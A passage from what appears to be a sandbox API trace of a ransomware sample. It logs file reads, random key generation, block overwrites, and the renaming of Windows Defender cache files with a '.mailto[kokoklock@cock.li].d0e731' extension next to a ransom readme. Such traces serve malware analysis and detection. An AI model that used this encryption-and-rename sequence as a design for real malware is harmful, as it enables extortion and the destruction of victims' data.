Flags=0x8, Size=0x70) returned 0x347fee0 [0079.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0079.263] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0079.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.264] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0079.264] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0079.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0079.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0079.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0079.264] WriteFile (in: hFile=0x784, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x216bf76c, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x216bf76c*=0x4096, lpOverlapped=0x0) returned 1 [0079.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.264] WriteFile (in: hFile=0x784, lpBuffer=0x34925c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x216bf7c8, lpOverlapped=0x0 | out: lpBuffer=0x34925c8*, lpNumberOfBytesWritten=0x216bf7c8*=0x20, lpOverlapped=0x0) returned 1 [0079.264] WriteFile (in: hFile=0x784, lpBuffer=0x34925f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x216bf7c8, lpOverlapped=0x0 | out: lpBuffer=0x34925f0*, lpNumberOfBytesWritten=0x216bf7c8*=0x20, lpOverlapped=0x0) returned 1 [0079.264] WriteFile (in: hFile=0x784, lpBuffer=0x3492988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x216bf7c8, lpOverlapped=0x0 | out: lpBuffer=0x3492988*, lpNumberOfBytesWritten=0x216bf7c8*=0x20, lpOverlapped=0x0) returned 1 [0079.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.264] WriteFile (in: hFile=0x784, lpBuffer=0x3492438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x216bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x3492438*, lpNumberOfBytesWritten=0x216bf7d0*=0x8, lpOverlapped=0x0) returned 1 [0079.265] WriteFile (in: hFile=0x784, lpBuffer=0x216bf7e8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x216bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x216bf7e8*, lpNumberOfBytesWritten=0x216bf7d0*=0x4, lpOverlapped=0x0) returned 1 [0079.265] WriteFile (in: hFile=0x784, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x216bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x216bf7d0*=0x4, lpOverlapped=0x0) returned 1 [0079.265] WriteFile (in: hFile=0x784, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x216bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x216bf7d0*=0x6c, lpOverlapped=0x0) returned 1 [0079.265] WriteFile (in: hFile=0x784, lpBuffer=0x3492550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x216bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x3492550*, lpNumberOfBytesWritten=0x216bf7d0*=0x20, lpOverlapped=0x0) returned 1 [0079.265] WriteFile (in: hFile=0x784, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x216bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x216bf7d0*=0x4, lpOverlapped=0x0) returned 1 [0079.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492550) returned 1 [0079.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492410) returned 1 [0079.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492438) returned 1 [0079.265] CloseHandle (hObject=0x784) returned 1 [0079.265] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.266] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0" [0079.266] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0.mailto[kokoklock@cock.li].d0e731" [0079.266] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.a0"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.a0.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.266] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.267] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.267] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0", dwFileAttributes=0x20) returned 0 [0079.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0079.267] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.267] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.267] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.267] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0079.267] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a720) returned 1 [0079.267] RtlExitUserThread (Status=0x1) Thread: id = 916 os_tid = 0x1554 [0079.149] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cb")) returned 0x20 [0079.149] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB", dwFileAttributes=0x20) returned 1 [0079.149] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0079.150] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x2173fde8 | out: lpFileSize=0x2173fde8*=393209) returned 1 [0079.150] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x5fff5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.150] ReadFile (in: hFile=0x5cc, lpBuffer=0x2173fdbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2173fdb8, lpOverlapped=0x0 | out: lpBuffer=0x2173fdbc*, lpNumberOfBytesRead=0x2173fdb8*=0x4, lpOverlapped=0x0) returned 1 [0079.170] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.170] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925f0 [0079.170] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492528 [0079.170] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492870 [0079.170] NtQuerySystemTime (in: CurrentTime=0x2173fd94 | out: CurrentTime=0x2173fd94*=132121176370635980) returned 0x0 [0079.170] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x8a1d09a1 [0079.170] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x8aae1b99 [0079.170] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x32804968 [0079.170] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x667109ce [0079.170] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x36ab274a [0079.170] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0xb063ab1 [0079.170] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x1bb925 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x53762d18 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x9c5a2975 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0xb0df2662 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x40d05081 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0xa0b4e6a5 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x9db0d4ce [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x7851fe2d [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x4b82f1ba [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x87673a2 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x7a8c06e3 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x84eec3b0 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x94aaee5 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0xb8b169e [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x18634995 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0xf23102f3 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x15e829ce [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0xb2731a0c [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0xa5227444 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x6947e742 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x5b247aa2 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x40824720 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x884f2c94 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x410e8624 [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0x25baa47a [0079.171] RtlRandom (in: Seed=0x2173fda0 | out: Seed=0x2173fda0) returned 0xa8fba440 [0079.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925f0) returned 1 [0079.182] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.182] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.182] ReadFile (in: hFile=0x5cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2173fd54, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2173fd54*=0x4096, lpOverlapped=0x0) returned 1 [0079.216] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.216] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.217] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.217] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925a0 [0079.217] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925a0) returned 1 [0079.217] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.217] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925a0 [0079.217] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925c8 [0079.217] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925c8) returned 1 [0079.217] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.217] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.217] WriteFile (in: hFile=0x5cc, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2173fd54, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x2173fd54*=0x4096, lpOverlapped=0x0) returned 1 [0079.217] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.218] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x30708, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.218] ReadFile (in: hFile=0x5cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2173fd54, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2173fd54*=0x4096, lpOverlapped=0x0) returned 1 [0079.225] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x30708, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492618 [0079.258] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492618) returned 1 [0079.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492618 [0079.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0079.258] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0079.258] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.258] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.258] WriteFile (in: hFile=0x5cc, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2173fd54, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x2173fd54*=0x4096, lpOverlapped=0x0) returned 1 [0079.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.259] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x5bf63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.259] ReadFile (in: hFile=0x5cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2173fd54, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2173fd54*=0x4096, lpOverlapped=0x0) returned 1 [0079.268] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x5bf63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0079.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0079.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492550 [0079.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492550) returned 1 [0079.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492410 [0079.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492438 [0079.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492438) returned 1 [0079.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0079.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0079.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2173fd54, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2173fd54*=0x4096, lpOverlapped=0x0) returned 1 [0079.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x34925a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2173fdb0, lpOverlapped=0x0 | out: lpBuffer=0x34925a0*, lpNumberOfBytesWritten=0x2173fdb0*=0x20, lpOverlapped=0x0) returned 1 [0079.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2173fdb0, lpOverlapped=0x0 | out: lpBuffer=0x3492618*, lpNumberOfBytesWritten=0x2173fdb0*=0x20, lpOverlapped=0x0) returned 1 [0079.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492410*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2173fdb0, lpOverlapped=0x0 | out: lpBuffer=0x3492410*, lpNumberOfBytesWritten=0x2173fdb0*=0x20, lpOverlapped=0x0) returned 1 [0079.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x34923c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2173fdb8, lpOverlapped=0x0 | out: lpBuffer=0x34923c0*, lpNumberOfBytesWritten=0x2173fdb8*=0x8, lpOverlapped=0x0) returned 1 [0079.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x2173fdd0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2173fdb8, lpOverlapped=0x0 | out: lpBuffer=0x2173fdd0*, lpNumberOfBytesWritten=0x2173fdb8*=0x4, lpOverlapped=0x0) returned 1 [0079.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2173fdb8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2173fdb8*=0x4, lpOverlapped=0x0) returned 1 [0079.270] WriteFile (in: hFile=0x5cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2173fdb8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2173fdb8*=0x6c, lpOverlapped=0x0) returned 1 [0079.270] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492528*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2173fdb8, lpOverlapped=0x0 | out: lpBuffer=0x3492528*, lpNumberOfBytesWritten=0x2173fdb8*=0x20, lpOverlapped=0x0) returned 1 [0079.270] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2173fdb8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2173fdb8*=0x4, lpOverlapped=0x0) returned 1 [0079.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492528) returned 1 [0079.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492398) returned 1 [0079.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34923c0) returned 1 [0079.270] CloseHandle (hObject=0x5cc) returned 1 [0079.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.270] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB" [0079.270] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB.mailto[kokoklock@cock.li].d0e731" [0079.270] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cb"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cb.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.280] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.280] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB", dwFileAttributes=0x20) returned 0 [0079.281] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0079.281] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.281] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.281] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.281] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0079.281] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ab80) returned 1 [0079.281] RtlExitUserThread (Status=0x1) Thread: id = 917 os_tid = 0x1558 [0079.151] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cc")) returned 0x20 [0079.151] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC", dwFileAttributes=0x20) returned 1 [0079.151] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0079.152] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x217bfe84 | out: lpFileSize=0x217bfe84*=278945) returned 1 [0079.152] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x4419d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.152] ReadFile (in: hFile=0x42c, lpBuffer=0x217bfe58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x217bfe54, lpOverlapped=0x0 | out: lpBuffer=0x217bfe58*, lpNumberOfBytesRead=0x217bfe54*=0x4, lpOverlapped=0x0) returned 1 [0079.157] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 